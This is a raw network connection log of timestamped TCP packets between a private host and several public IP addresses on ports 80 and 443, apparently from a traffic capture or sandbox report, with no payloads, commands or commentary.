Sep 16, 2024 08:22:18.474225998 CEST	49715	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:18.475337029 CEST	49715	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:18.475353003 CEST	443	49715	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.475581884 CEST	443	49715	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.476572037 CEST	49715	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:18.503411055 CEST	443	49713	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.503426075 CEST	443	49714	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.503432035 CEST	443	49712	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.519433975 CEST	443	49715	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.564143896 CEST	443	49713	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.564364910 CEST	443	49713	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.564385891 CEST	443	49714	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.564507961 CEST	443	49713	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.564542055 CEST	49713	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:18.564554930 CEST	443	49714	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.564627886 CEST	49714	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:18.564627886 CEST	49713	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:18.564639091 CEST	443	49714	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.564706087 CEST	443	49714	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.564835072 CEST	443	49712	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.564847946 CEST	49714	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:18.564909935 CEST	443	49712	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.564999104 CEST	443	49712	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.565300941 CEST	49712	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:18.577517033 CEST	443	49715	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.577569962 CEST	443	49715	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.577615976 CEST	443	49715	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:18.577801943 CEST	49715	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:18.583642960 CEST	49714	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:18.585973024 CEST	49713	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:18.585985899 CEST	49712	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:18.597853899 CEST	49715	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:26.857515097 CEST	49716	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:26.857566118 CEST	443	49716	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:26.857573986 CEST	49717	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:26.857662916 CEST	443	49717	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:26.857673883 CEST	49716	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:26.857727051 CEST	49717	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:26.858203888 CEST	49717	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:26.858211040 CEST	49716	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:26.858234882 CEST	443	49716	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:26.858237028 CEST	443	49717	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:26.858555079 CEST	49718	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:26.858577013 CEST	443	49718	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:26.858637094 CEST	49718	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:26.858927965 CEST	49719	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:26.858948946 CEST	443	49719	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:26.859008074 CEST	49719	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:26.859133959 CEST	49718	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:26.859158039 CEST	443	49718	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:26.859412909 CEST	49719	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:26.859426975 CEST	443	49719	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.540055990 CEST	443	49719	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.540148020 CEST	49719	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:27.542043924 CEST	49719	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:27.542068958 CEST	443	49719	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.542289972 CEST	443	49719	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.543658018 CEST	443	49718	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.543658972 CEST	49719	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:27.543732882 CEST	49718	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:27.544128895 CEST	443	49717	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.544197083 CEST	49717	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:27.545703888 CEST	49718	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:27.545711994 CEST	443	49718	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.546053886 CEST	443	49718	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.546489000 CEST	49717	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:27.546493053 CEST	443	49717	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.546885014 CEST	443	49717	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.547362089 CEST	49718	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:27.548135042 CEST	49717	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:27.548985958 CEST	443	49716	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.549066067 CEST	49716	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:27.550673962 CEST	49716	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:27.550688982 CEST	443	49716	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.551177025 CEST	443	49716	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.552161932 CEST	49716	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:27.591408968 CEST	443	49718	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.591408968 CEST	443	49719	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.591429949 CEST	443	49717	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.591486931 CEST	49718	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:27.591495037 CEST	443	49718	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.591517925 CEST	49717	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:27.591521978 CEST	443	49717	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.591523886 CEST	49719	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:27.591537952 CEST	443	49719	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.595418930 CEST	443	49716	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.595527887 CEST	49716	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:27.595546007 CEST	443	49716	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.761017084 CEST	443	49716	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.761286020 CEST	443	49716	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.761353016 CEST	49716	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:27.771168947 CEST	443	49719	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.771471024 CEST	443	49719	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.771550894 CEST	49719	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:27.781446934 CEST	443	49717	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.781615019 CEST	443	49717	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.781687975 CEST	49717	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:27.783184052 CEST	49719	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:27.786782026 CEST	49716	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:27.788871050 CEST	49717	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:27.833419085 CEST	443	49718	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.833578110 CEST	443	49718	162.159.138.232	192.168.2.5
Sep 16, 2024 08:22:27.833638906 CEST	49718	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:27.839498043 CEST	49718	443	192.168.2.5	162.159.138.232
Sep 16, 2024 08:22:32.975234032 CEST	49706	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:33.076482058 CEST	49707	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:33.571780920 CEST	49704	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:33.853575945 CEST	49705	80	192.168.2.5	104.18.111.161
Sep 16, 2024 08:22:36.675415039 CEST	49725	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:36.679500103 CEST	49726	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:36.680454969 CEST	80	49725	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:36.680548906 CEST	49725	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:36.684410095 CEST	80	49726	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:36.684519053 CEST	49726	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:36.698853016 CEST	49725	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:36.700063944 CEST	49726	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:36.703187943 CEST	49727	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:36.703706980 CEST	80	49725	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:36.705198050 CEST	80	49726	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:36.708030939 CEST	80	49727	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:36.708218098 CEST	49727	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:36.712529898 CEST	49727	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:36.717519045 CEST	80	49727	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:36.786221981 CEST	49728	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:36.791290998 CEST	80	49728	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:36.791409969 CEST	49728	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:36.801953077 CEST	49729	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:36.804996014 CEST	49728	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:36.806884050 CEST	80	49729	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:36.807087898 CEST	49729	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:36.809839010 CEST	80	49728	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:36.813246965 CEST	49729	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:36.818124056 CEST	80	49729	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:36.839431047 CEST	49731	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:36.840814114 CEST	49730	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:36.844240904 CEST	80	49731	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:36.844337940 CEST	49731	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:36.845571041 CEST	80	49730	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:36.845639944 CEST	49730	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:36.849915981 CEST	49731	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:36.851703882 CEST	49730	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:36.854723930 CEST	80	49731	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:36.856563091 CEST	80	49730	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:36.862977028 CEST	49732	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:36.867872000 CEST	80	49732	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:36.868045092 CEST	49732	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:36.933451891 CEST	49732	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:36.938275099 CEST	80	49732	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.128107071 CEST	80	49726	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.128192902 CEST	80	49726	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.128284931 CEST	49726	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.128668070 CEST	49726	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.131294966 CEST	49733	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.131401062 CEST	443	49733	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.131530046 CEST	49733	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.132210970 CEST	80	49725	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.132235050 CEST	80	49725	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.132550001 CEST	49725	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.132673979 CEST	49725	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.133447886 CEST	80	49726	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.134350061 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.134373903 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.134462118 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.137499094 CEST	80	49725	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.138091087 CEST	49733	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.138127089 CEST	443	49733	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.140393972 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.140419960 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.154098034 CEST	80	49727	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.154150963 CEST	80	49727	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.154505968 CEST	49727	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.154645920 CEST	49727	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.156378984 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.156423092 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.156491995 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.159450054 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.159451962 CEST	80	49727	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.159468889 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.243402958 CEST	80	49728	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.243419886 CEST	80	49728	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.243550062 CEST	49728	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.244019985 CEST	49728	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.248913050 CEST	80	49728	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.252986908 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.253040075 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.253547907 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.256234884 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.256268024 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.280064106 CEST	80	49729	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.280111074 CEST	80	49729	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.280180931 CEST	49729	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.280551910 CEST	49729	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.282092094 CEST	49737	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.282162905 CEST	443	49737	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.282231092 CEST	49737	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.284893036 CEST	49737	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.284931898 CEST	443	49737	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.285295963 CEST	80	49729	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.291676044 CEST	80	49731	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.291744947 CEST	80	49731	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.291954041 CEST	49731	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.292145967 CEST	49731	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.293703079 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.293736935 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.293811083 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.296257973 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.296289921 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.297022104 CEST	80	49731	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.301090002 CEST	80	49730	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.301280975 CEST	80	49730	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.301330090 CEST	49730	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.301541090 CEST	49730	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.303088903 CEST	49739	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.303106070 CEST	443	49739	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.303219080 CEST	49739	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.306029081 CEST	49739	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.306042910 CEST	443	49739	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.306304932 CEST	80	49730	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.335361958 CEST	80	49732	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.335405111 CEST	80	49732	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.335524082 CEST	49732	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.335844040 CEST	49732	80	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.337642908 CEST	49740	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.337661982 CEST	443	49740	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.337776899 CEST	49740	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.340358019 CEST	49740	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.340367079 CEST	443	49740	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.340616941 CEST	80	49732	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.687654972 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.687743902 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.688862085 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.688931942 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.693408012 CEST	443	49733	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.693495035 CEST	49733	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.705205917 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.705243111 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.705496073 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.712486029 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.712635994 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.712656975 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.712919950 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.720001936 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.726805925 CEST	49733	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.726840973 CEST	443	49733	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.727791071 CEST	443	49733	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.735179901 CEST	49733	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.737694025 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.737767935 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.752758026 CEST	443	49737	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.752842903 CEST	49737	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.755434990 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.756829023 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.756877899 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.757735968 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.763102055 CEST	443	49739	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.763197899 CEST	49739	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.767401934 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.771217108 CEST	49737	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.771259069 CEST	443	49737	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.772190094 CEST	443	49737	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.775439024 CEST	443	49733	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.777615070 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.777703047 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.778434992 CEST	49737	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.783695936 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.783852100 CEST	49739	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.783879042 CEST	443	49739	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.784729004 CEST	443	49739	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.797328949 CEST	49739	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.800307035 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.800337076 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.801227093 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.801561117 CEST	443	49740	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.801660061 CEST	49740	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.813870907 CEST	49738	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.819153070 CEST	49740	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.819163084 CEST	443	49740	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.819438934 CEST	443	49740	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.823409081 CEST	443	49737	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.826858997 CEST	49740	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.831425905 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.843432903 CEST	443	49739	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.859402895 CEST	443	49738	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.871409893 CEST	443	49740	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.915824890 CEST	443	49739	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.917495012 CEST	443	49733	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.918462992 CEST	443	49737	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.922195911 CEST	443	49740	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.922395945 CEST	443	49733	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.922451973 CEST	443	49733	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.922475100 CEST	49733	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.922513962 CEST	443	49733	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.922547102 CEST	49733	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.922590017 CEST	49733	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.923373938 CEST	443	49737	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.923449039 CEST	49737	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.923455000 CEST	443	49737	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.923487902 CEST	443	49737	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.923533916 CEST	49737	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.923563957 CEST	49737	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.929634094 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.929712057 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.929744959 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.929774046 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.929830074 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.929857969 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.929903984 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.929990053 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.930042028 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.930089951 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.930107117 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.930186033 CEST	49734	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.930510998 CEST	443	49734	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.931140900 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.931370974 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.931402922 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.931440115 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.931456089 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.931499958 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.931646109 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.932087898 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.932120085 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.932140112 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.932147026 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.932185888 CEST	49735	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.932271004 CEST	443	49735	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.934393883 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.934568882 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.934647083 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.934658051 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.934669971 CEST	443	49736	185.199.109.133	192.168.2.5
Sep 16, 2024 08:22:37.934720039 CEST	49736	443	192.168.2.5	185.199.109.133
Sep 16, 2024 08:22:37.934725046 CEST	443	49736	185.199.109.133	192.168.2.5
